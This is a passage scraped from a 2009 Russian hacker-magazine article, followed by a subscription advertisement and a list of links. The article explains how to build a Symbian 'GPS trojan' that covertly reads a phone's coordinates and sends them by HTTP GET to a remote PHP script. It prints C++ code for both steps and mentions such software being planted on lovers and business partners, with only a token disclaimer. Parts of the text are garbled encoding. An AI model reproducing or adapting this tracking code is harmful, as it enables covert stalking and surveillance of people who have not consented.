Views
3 years ago

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

++++ >> coding ++++ ++++

++++ >> coding ++++ ++++ ++++ ++++ ++++ ПРОТРОЯНЕННЫЙ ЧЛЕН X-CREW ВПОЛНЕ МОГ БЫ ВЫДАТЬ МЕСТОПОЛОЖЕНИЕ НАШЕЙ РЕДАКЦИИ :) ДА, Я ХОЧУ РАЗРАБАТЫВАТЬ МОБИЛЬНЫЕ ПРИЛО- ЖЕНИЯ ++++ ++++ ++++ ++++ ++++ ++++ ++++ ++++ ++ ++ ++++ ++++ ++++ //ïîëó÷àåì äîëãîòó SendCoordinateL(latitude,longitude); //îòïðàâëÿåì äàííûå break; } default: //êîîðäèíàòû íå ïîëó÷åíû, ïðîáóåì ñíîâà iPositioner.NotifyPositionUpdate( iPositionInfo,iStatus); SetActive(); break; } } Здесь в случае успешного завершения операции мы отправляем данные на сервер посредством функции SendCoordinateL(int,int). ФУНКЦИОНАЛ ОТПРАВКИ КООРДИНАТ НА СЕРВЕР В каком виде отправлять данные на сервер? Это зависит от конкретной реализации серверной части, агрегирующей данные от мобилы и отображающей их пользователю/злоумышленнику. Поскольку самое очевидное решение — использовать Google Maps API, учти, что на сервере нам необходимо реализовать веб-приложение, которое через JavaScript взаимодействует с Google Maps, передает координаты точки и отображает картинку с нарисованным флажком на карте. Интерфейса для непосредственного доступа к Google Maps с мобилы нет, нужно реализовать некое промежуточное звено, передающее координаты от мобилы к веб-приложению. Тут можно дать волю фантазии и реализовать как сложную серверную часть (демон, слушающий на определенном порту данные от смартфона), так и простенький скрипт на php, обрабатывающий банальные post- или даже get-данные. Как непрофессионал в веб-программировании, я бы выбрал вариант обычного обращения мобилы к удаленному скрипту по ссылке вида http://yourhost.ru/scripts/troy.php?longitude=xxx&latitude=yyy. А далее — полученные координаты обрабатываем скриптами и делаем с ними, что хотим. Кстати, аналогичный Google Maps сервис стали предоставлять Яндекс и даже Nokia, поэтому определенная свобода выбора есть, и реализация серверной части — дело техники. Не будем подробно касаться здесь аспектов ее разработки, ибо это тема, как минимум, для отдельной статьи. Сосредоточимся на механизме отправки данных на сервер посредством HTTP over TCP. На диске к журналу находятся исходники класса CHTTPEngine, реализующего функционал GET- и POSTзапросов. Как и в случае с CTroyTimer, он содержит переменнуючлен, являющуюся ссылкой на объект-обсервер событий, которым снова стал CGpsTroyAppUi, наследуемый от MHTTPEngineObserver и получающий методы, вызываемые при получении ответа от сервера и завершения запроса. Кстати, CHTTPEngine — это готовый к использованию универсальный и хорошо зарекомендовавший себя движок http! CHTTPEngine наследуется от класса MHTTPTransactionCallback. Тот задает ему свойства класса, относящегося к активным объектам, расширяя стандартную функциональность CActive. Кроме того, механизм инициализации CHTTPEngine схож с функционалом определения координат в плане того, что описывается тем же законом клиент-серверного взаимодействия внутри ОС: сначала создается сессия к Communication Server, потом ее хэндл используется для уже реального обращения к comm server’у и выполнения необходимой работы. С учетом описанной нами довольно общей концепции передачи данных на сервер реальный механизм отправки координаты может выглядеть примерно так: void CGpsTroyAppUi::SendCoordinateL (Tint latitude,Tint longitude) { CHTTPEngine* httpEngine = CHHTPEngine::NewL(this); TBuf url(_L ("http://host/troysctipt.php?longitude=")); url.AppendNum(latitude); url.Append(_L("&latitude=")); url.AppendNum(longitude); httpEngine->GetRequestL(url); } Все, данные отправлены. Естественно, здесь мы не рассмотрели подробно механизм реализации движка, я лишь показал общую концепцию. Поэтому, как и в любой задачи по разработке под Symbian, тебе придется почитать документацию и посмотреть пример с диска. ЗАКЛЮЧЕНИЕ Эта концепция создания GPS-трояна, без сомнения, оставляет определенный творческий простор. Мы не стали специально рассматривать архитектуру взаимодействия мобильного приложения и сервера, поскольку тут возможна масса вариантов: конкретная реализация во многом зависит от целого ряда факторов. Что касается реального применения, то автору приходилось встречать случаи, когда подобный софт устанавливался как любовницам, так и деловым партнерам. Но хотя определенная тенденция к распространению прослеживается, в очередной раз напоминаем, что это может привести к довольно печальным последствиям. Создание вредоносного ПО не только не пропагандируется нашей статьей, но даже и не описывается! Сам подумай, что ж такого, — изучили взаимодействие с GPS, координаты получать научились; как отправлять — с некоторой натяжкой разобрались. А уж как все эти знания применить на практике — тебе решать. Удачи!z 102 ++++ XÀÊÅÐ 07 /127/ 09

ПОДПИСКА В РЕДАКЦИИ ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ 2100 руб. (на 15% дешевле чем при покупке в розницу) Единая цена по всей России. Доставка за счет издателя, в том числе курьером по Москве в пределах МКАД ВНИМАНИЕ! ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ! При подписке на комплект журналов ЖЕЛЕЗО + ХАКЕР + DVD: - Один номер всего за 155 рублей (на 25% дешевле, чем в розницу) ÇÀ 12 ÌÅÑЯÖÅÂ 3720 ðóá Подписка на журнал «ХАКЕР+DVD» на 6 месяцев стоит 1200 руб. + ÇÀ 6 ÌÅÑЯÖÅÂ 2100 ðóá ВЫГОДА ГАРАНТИЯ СЕРВИС КАК ОФОРМИТЬ ЗАКАЗ 1. Разборчиво заполните подписной купон и квитанцию, вырезав их из журнала, сделав ксерокопию или распечатав с сайта www. glc.ru. 2. Оплатите подписку через Сбербанк . 3. Вышлите в редакцию копию подписных документов — купона и квитанции — любым из нижеперечисленных способов: по электронной почте subscribe@glc.ru; по факсу 8 (495) 780-88-24; по адресу 119021, Москва, ул. Тимура Фрунзе, д. 11, стр. 44, ООО «Гейм Лэнд», отдел подписки. ВНИМАНИЕ! Подписка оформляется в день обработки купона и квитанции в редакции: в течение пяти рабочих дней после отправки подписных документов в редакцию по факсу или электронной почте; в течение 20 рабочих дней после отправки подписных документов по почтовому адресу редакции. Рекомендуем использовать факс или электронную почту, в последнем случае предварительно отсканировав или сфотографировав документы. Подписка оформляется с номера, выходящего через один календарный месяц после оплаты. Например, если вы производите оплату в апреле, то журнал будете получать с июня. По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей) и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы о подписке можно также направлять по адресу info@glc.ru или прояснить на сайте www.GLC.ru

Май - Xakep Online
Январь - Xakep Online
УЧИМ КАКОценить сбалансированность системы ... - Xakep Online
Офисное западло - Xakep Online
Скачать - Xakep Online
ИюНь - Xakep Online
ЛУЧШИХ ВИРУСОВ - Xakep Online
Ноябрь - Xakep Online
2009 - Xakep Online
JIT SPRAY АНАЛИЗ TDSS - Xakep Online
Скачать - Xakep Online
ЛЕГКИЙ ХАК - Xakep Online
7 ЧУДЕС KDE - Xakep Online
Скачать - Xakep Online
Взлом GSM - Xakep Online
КОНКУРС - Xakep Online
ВЗЛОМ ИНТЕРНЕТ-МАГАЗИНА: - Xakep Online
с татьи - Xakep Online
Ноябрь - Xakep Online
WebMoney - Xakep Online
Untitled - Xakep Online
Октябрь - Xakep Online
Много новогодних конкурсов Много новогодних ... - Xakep Online
шпион внутри - Xakep Online
c-лето ;) - Xakep Online
тест - Xakep Online
содержание 10 (59) - Xakep Online